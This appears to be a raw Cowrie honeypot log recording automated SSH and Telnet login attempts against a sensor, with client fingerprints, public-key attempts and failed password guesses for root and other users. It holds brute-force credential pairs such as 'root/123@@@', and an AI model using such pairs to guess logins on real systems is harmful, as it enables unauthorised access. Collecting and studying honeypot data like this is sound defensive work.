{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53692,"dst_ip":"10.17.0.5","dst_port":22,"session":"73bd429eb7e8","protocol":"ssh","message":"New connection: 45.153.34.112:53692 (10.17.0.5:22) [session: 73bd429eb7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:32.823688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:32.827917Z","src_ip":"45.153.34.112","session":"73bd429eb7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:32.909754Z","src_ip":"45.153.34.112","session":"73bd429eb7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:33.156888Z","src_ip":"45.153.34.112","session":"73bd429eb7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":36878,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc9ce432149","protocol":"ssh","message":"New connection: 172.110.219.251:36878 (10.17.0.5:22) [session: 2bc9ce432149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:33.666291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:33.670878Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:33.775786Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.240366Z","src_ip":"45.153.34.112","session":"73bd429eb7e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:01:29:91:dd:1e:1d:9a:94:7d:c9:cb:89:dc:cd:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBb5Vj155YAVYr/m0nu55BDs5ns52edctMRhnC0+7fIgRtD4uFNjNGneOB9Vh4QChgL0oRVs5pWJT3UsIlM8OvVpnpjycW8xupFbbHNRx2tLbIa4aLYqbPmOLeXt+qBIz0v023MtyCcTGxns8y+OPeIf8fPNigjii3QUzyooAGJMuP6v/pQ/M+92H2etSmJ+wxH7ZKsYk6N34IFUJqXvp0V57xT9usdCThooZcB0bEve7Psu/J97KdCjPGSvgJI0qXeNVXfXGxVYCSqWKH57Uv0AF6ZXjdzYbxBfA83556jlmW1a0MPWcZRss2iaTr//CYqardHVZjTKDmQgLE4yy9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:01:29:91:dd:1e:1d:9a:94:7d:c9:cb:89:dc:cd:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.272514Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:01:29:91:dd:1e:1d:9a:94:7d:c9:cb:89:dc:cd:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBb5Vj155YAVYr/m0nu55BDs5ns52edctMRhnC0+7fIgRtD4uFNjNGneOB9Vh4QChgL0oRVs5pWJT3UsIlM8OvVpnpjycW8xupFbbHNRx2tLbIa4aLYqbPmOLeXt+qBIz0v023MtyCcTGxns8y+OPeIf8fPNigjii3QUzyooAGJMuP6v/pQ/M+92H2etSmJ+wxH7ZKsYk6N34IFUJqXvp0V57xT9usdCThooZcB0bEve7Psu/J97KdCjPGSvgJI0qXeNVXfXGxVYCSqWKH57Uv0AF6ZXjdzYbxBfA83556jlmW1a0MPWcZRss2iaTr//CYqardHVZjTKDmQgLE4yy9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.276267Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:ad:3e:a7:e5:cf:4d:8c:66:cf:43:4a:e0:16:b2:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8qtGzsjOPmnBLTj5ola5MTx5CtuUojyqEisOI7oaFsCxiatEZbZfu6hbEM6WHCeOsZbc35qj4zdMsor2q5UDHmc1ll7fG0fr5KVcTxzCwjkP6/wr9oCmOzdGkOOM/3OSt1UZuxPMjLjE/5qh5s969ixTSWBV+lnurJrmD7DPC0AmFq8lpCX80dWpSloL49oC4nq9OX2d8Q0L+KGLNhX3e18sYV9ZBzXYeMnmKV/EAypX4rilTXo0LKtY7vxOdVJ26qRwDHXVjt8Zj9VJOlA4UDFfmKRchpQKENkbXsbXfcoDTq6wp10i4x7sV6vNYS8nqucDR/iXdvmKi8AyymavGHlm7j+hg+eDFZpaJgbzinMcc+TprANjqzrVY4Yg4d+Q3vnvn9pUUVbZfen0dIn1/NUwFgfhguoFM/+iwiKIAwXmFXiEQadqcKP6DTapNyehN1mu3XzLP41fPuKEf/GQHQj4+4KcX/auNS40PI9NWS2rPPsR4QLTEggZJa5+QJn0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:ad:3e:a7:e5:cf:4d:8c:66:cf:43:4a:e0:16:b2:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.380181Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:ad:3e:a7:e5:cf:4d:8c:66:cf:43:4a:e0:16:b2:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8qtGzsjOPmnBLTj5ola5MTx5CtuUojyqEisOI7oaFsCxiatEZbZfu6hbEM6WHCeOsZbc35qj4zdMsor2q5UDHmc1ll7fG0fr5KVcTxzCwjkP6/wr9oCmOzdGkOOM/3OSt1UZuxPMjLjE/5qh5s969ixTSWBV+lnurJrmD7DPC0AmFq8lpCX80dWpSloL49oC4nq9OX2d8Q0L+KGLNhX3e18sYV9ZBzXYeMnmKV/EAypX4rilTXo0LKtY7vxOdVJ26qRwDHXVjt8Zj9VJOlA4UDFfmKRchpQKENkbXsbXfcoDTq6wp10i4x7sV6vNYS8nqucDR/iXdvmKi8AyymavGHlm7j+hg+eDFZpaJgbzinMcc+TprANjqzrVY4Yg4d+Q3vnvn9pUUVbZfen0dIn1/NUwFgfhguoFM/+iwiKIAwXmFXiEQadqcKP6DTapNyehN1mu3XzLP41fPuKEf/GQHQj4+4KcX/auNS40PI9NWS2rPPsR4QLTEggZJa5+QJn0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.383876Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:45:df:63:6b:e8:70:88:9b:33:de:32:50:0c:fd:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6CH9XaKGchbKvxRqSUUPTfyM3s2bUV7rt8YkeUWeOEqXFxyIMZRZEwvhEOfzam7aAsgwHIqXtsEZpllXSP8qJkiQZxlQ7kTVOO39/mTfoSoWkOVjt+rg6ctiqF5egjuA17jcbiBTyZ0X+PQ6P6EJxAwMc03wjszmGn9m/0BEhzzxxmfppUVEBFy9IfGKHmCKABzwmUC61DuSb3eu6d5XDTmBaNP57b6nC5frKuZ9LpF1eiicX2aM1fIc0/Mm5EMZLOAUuVA0rNWzCWfJtfLrTo0bxxA7tLWOKWqRq69Udlwwt/3OPgzo4LbOp9dpDg3JQ7tTKBUwZ1arxxDWitFXV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:45:df:63:6b:e8:70:88:9b:33:de:32:50:0c:fd:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.487742Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:45:df:63:6b:e8:70:88:9b:33:de:32:50:0c:fd:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6CH9XaKGchbKvxRqSUUPTfyM3s2bUV7rt8YkeUWeOEqXFxyIMZRZEwvhEOfzam7aAsgwHIqXtsEZpllXSP8qJkiQZxlQ7kTVOO39/mTfoSoWkOVjt+rg6ctiqF5egjuA17jcbiBTyZ0X+PQ6P6EJxAwMc03wjszmGn9m/0BEhzzxxmfppUVEBFy9IfGKHmCKABzwmUC61DuSb3eu6d5XDTmBaNP57b6nC5frKuZ9LpF1eiicX2aM1fIc0/Mm5EMZLOAUuVA0rNWzCWfJtfLrTo0bxxA7tLWOKWqRq69Udlwwt/3OPgzo4LbOp9dpDg3JQ7tTKBUwZ1arxxDWitFXV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.490991Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:16:5d:5b:01:25:77:8a:e8:9a:86:47:39:0d:10:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAkppOEQt0nYjTSCESYah0vr2G0i7qghfvVJv0FZUrJ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:16:5d:5b:01:25:77:8a:e8:9a:86:47:39:0d:10:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.594937Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:16:5d:5b:01:25:77:8a:e8:9a:86:47:39:0d:10:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAkppOEQt0nYjTSCESYah0vr2G0i7qghfvVJv0FZUrJ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.598459Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:5a:00:b4:a6:cb:4a:91:69:1a:a7:b2:30:c6:56:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3BCi7+Eon0X9mS1Qq3cIjUR1329PX0vZgzsOYceADpKN71SwxbBa+wPtF5Hzf1+H0nnDCbX19RA0HmfGdurSyccHZKamW+RiB980J3La9rvOvOn7czC3rlUgBLJ+69U9+dfdQkFiJJwtIOW7I6GNZZIg1SHuL0c26237ACbD0lc4dcSQBCujUHdUKiX9eptbSccquNoKRwX4l8OZT5Y1dXP5A95UEHikoMFsB3iwfLG4nfj+HNW4X7uHH++rvkfD+IxmJlp57pBzAzAkDb7bX03x68Ltl/iSmPNynrj//hk9OJ9Uzji+0CMAViYbfDs6tdOxuKAMHQyjrOxAiI/5aQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:5a:00:b4:a6:cb:4a:91:69:1a:a7:b2:30:c6:56:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.701088Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:5a:00:b4:a6:cb:4a:91:69:1a:a7:b2:30:c6:56:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3BCi7+Eon0X9mS1Qq3cIjUR1329PX0vZgzsOYceADpKN71SwxbBa+wPtF5Hzf1+H0nnDCbX19RA0HmfGdurSyccHZKamW+RiB980J3La9rvOvOn7czC3rlUgBLJ+69U9+dfdQkFiJJwtIOW7I6GNZZIg1SHuL0c26237ACbD0lc4dcSQBCujUHdUKiX9eptbSccquNoKRwX4l8OZT5Y1dXP5A95UEHikoMFsB3iwfLG4nfj+HNW4X7uHH++rvkfD+IxmJlp57pBzAzAkDb7bX03x68Ltl/iSmPNynrj//hk9OJ9Uzji+0CMAViYbfDs6tdOxuKAMHQyjrOxAiI/5aQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.707662Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:34.813200Z","src_ip":"172.110.219.251","session":"2bc9ce432149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53698,"dst_ip":"10.17.0.5","dst_port":22,"session":"7761bc3b2494","protocol":"ssh","message":"New connection: 45.153.34.112:53698 (10.17.0.5:22) [session: 7761bc3b2494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:36.527605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:36.532551Z","src_ip":"45.153.34.112","session":"7761bc3b2494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:36.614950Z","src_ip":"45.153.34.112","session":"7761bc3b2494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:36.868229Z","src_ip":"45.153.34.112","session":"7761bc3b2494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:37.953048Z","src_ip":"45.153.34.112","session":"7761bc3b2494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.925042390823364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:38.017434Z","src_ip":"192.119.13.58","session":"b30e9809d66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b3281b500b4","protocol":"telnet","message":"New connection: 192.119.13.58:48638 (10.17.0.5:23) [session: 0b3281b500b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:38.415738Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55846,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5cfcfb95be","protocol":"ssh","message":"New connection: 45.153.34.112:55846 (10.17.0.5:22) [session: de5cfcfb95be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:40.250307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:40.255569Z","src_ip":"45.153.34.112","session":"de5cfcfb95be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:40.343052Z","src_ip":"45.153.34.112","session":"de5cfcfb95be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:40.590401Z","src_ip":"45.153.34.112","session":"de5cfcfb95be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:41.675723Z","src_ip":"45.153.34.112","session":"de5cfcfb95be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a867537810f0","protocol":"telnet","message":"New connection: 192.119.13.58:39116 (10.17.0.5:23) [session: a867537810f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:42.678742Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55870,"dst_ip":"10.17.0.5","dst_port":22,"session":"59c901c2c9d9","protocol":"ssh","message":"New connection: 45.153.34.112:55870 (10.17.0.5:22) [session: 59c901c2c9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:43.715271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:43.719532Z","src_ip":"45.153.34.112","session":"59c901c2c9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:43.804331Z","src_ip":"45.153.34.112","session":"59c901c2c9d9","protocol":"ssh"}
